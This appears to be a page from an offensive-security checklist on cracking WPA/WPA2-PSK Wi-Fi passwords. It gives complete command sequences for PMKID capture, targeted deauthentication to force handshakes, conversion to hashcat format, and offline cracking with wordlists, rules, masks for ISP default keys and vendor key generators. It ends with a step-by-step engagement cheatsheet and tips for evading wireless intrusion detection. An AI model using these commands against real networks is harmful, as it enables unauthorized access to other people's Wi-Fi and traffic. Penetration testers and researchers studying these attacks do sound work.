WPA/WPA2-PSK Attacks
The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline — no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID).
Quick Workflow
- Identify the target BSSID, channel, and encryption (see
offensive-wifi-recon) - Try PMKID first (fast, no client interaction)
- Fall back to four-way handshake capture if PMKID isn't yielded
- Convert capture to hashcat-compatible format
- Crack offline with appropriate wordlist + rules + masks
PMKID Attack (Preferred When Possible)
The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request — no real client needed.
bash# Setup sudo airmon-ng check kill && sudo airmon-ng start wlan0 sudo iw reg set US # Sweep PMKIDs across all visible APs sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \ --enable_status=1 \ --filterlist_ap=targets.txt --filtermode=2 # Convert to hashcat format hcxpcapngtool -o hash.hc22000 pmkid.pcapng
targets.txt contains BSSIDs (one per line) you're authorized to attack.
If hash.hc22000 is empty, the AP doesn't yield PMKIDs. Move to four-way handshake.
Four-Way Handshake Capture
bash# Pin to channel sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
If a client is associated:
bash# Targeted deauth (single client, low volume) sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
The handshake will appear in airodump's top-right corner as WPA handshake: AA:BB:CC:DD:EE:FF.
Why one client at a time: broadcast deauth (no -c) trips WIDS quickly and is louder. A single 5-deauth burst targeted at one MAC is enough.
Verifying the Capture
bashhcxpcapngtool -o hash.hc22000 handshake-01.cap # Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines
If the tool reports the M1/M2 pair without proper EAPOL authentication, capture again. Bad / partial handshakes will fail to crack.
Cracking
Dictionary + Rules
bashhashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
Useful wordlists:
rockyou.txt(classic)weakpass_3/weakpass_4(huge breach corpus)crackstation.txt- Targeted: company name, products, locations
Mask Attacks for Common Default Patterns
bash# 10 digits (common ISP default — UPC, Vodafone, etc.) hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d # 8 digits (D-Link, ZTE) hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d # 8 hex (some Belkin / Linksys) hashcat -m 22000 hash.hc22000 -a 3 ?h?h?h?h?h?h?h?h # Phone number patterns hashcat -m 22000 hash.hc22000 -a 3 1?d?d?d?d?d?d?d?d?d?d
Vendor Default Generators
Some ISP routers derive the PSK from the SSID prefix + serial number suffix using known algorithms:
bash# UPC-XXXXXXX → upc_keys generates candidate keys upc_keys ESSID | hashcat -m 22000 hash.hc22000 - # Other generators: skylogin, BT-Hub-PSK-Generator, ZyxelKeygen # Check vendor-specific tools per router brand
802.11r FT Cracking
If 802.11r (Fast Transition) is enabled, the AP-to-AP key transit is captureable on the wired side or visible in air during roaming events. The PMK derivation gives an alternative crack path with the same hc22000 format.
Tuning Cracking Performance
bash# Show recommended workload tuning per GPU hashcat -b -m 22000 # Distributed cracking via hashtopolis or naive split hashcat -m 22000 hash.hc22000 wordlist.txt -s 0 -l 1000000 hashcat -m 22000 hash.hc22000 wordlist.txt -s 1000000 -l 1000000
Opportunistic Key Cache (OKC)
When OKC is enabled (common in WPA2-Enterprise too), the AP caches the PMK from a previous successful association and reuses it on roam — bypassing the full handshake. From an attacker view, OKC handshakes have the same recoverable PMK material; the impact is mostly that you'll see fewer M1/M2 pairs in the air.
Detection Considerations
| Signal | Defender View |
|---|---|
| Deauth burst | WIDS rule: >N deauth/sec with malformed reason codes |
| PMKID flood (hcxdumptool default sends many association requests) | WIDS rule: rapid associations from a single MAC |
| Monitor-mode interface | Some enterprise WIDS deployments fingerprint adjacent monitor radios |
To minimize: PMKID with --filtermode=2 (only target your authorized list), single targeted deauth bursts, randomize source MAC between captures.
Engagement Cheatsheet
bash# 1. Setup sudo airmon-ng check kill && sudo airmon-ng start wlan0 sudo iw reg set US # 2. PMKID sweep first echo "AA:BB:CC:DD:EE:FF" > targets.txt sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \ --enable_status=1 --filterlist_ap=targets.txt --filtermode=2 # 3. Convert + try crack hcxpcapngtool -o hash.hc22000 pmkid.pcapng hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule # 4. If empty PMKID, do four-way capture sudo airodump-ng -c <ch> --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon & sudo aireplay-ng --deauth 3 -a AA:BB:CC:DD:EE:FF -c <client> wlan0mon # 5. Convert + crack hcxpcapngtool -o hash.hc22000 cap-01.cap hashcat -m 22000 hash.hc22000 wordlist.txt -r OneRuleToRuleThemAll.rule # 6. Mask attacks if dictionary fails hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
Key References
- hashcat docs (mode 22000): hashcat.net/wiki/doku.php?id=cracking_wpawpa2
- hcxtools: github.com/ZerBea/hcxtools
- ZerBea PMKID research (original 2018 disclosure)
- 802.11i-2004 (WPA2 spec)
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
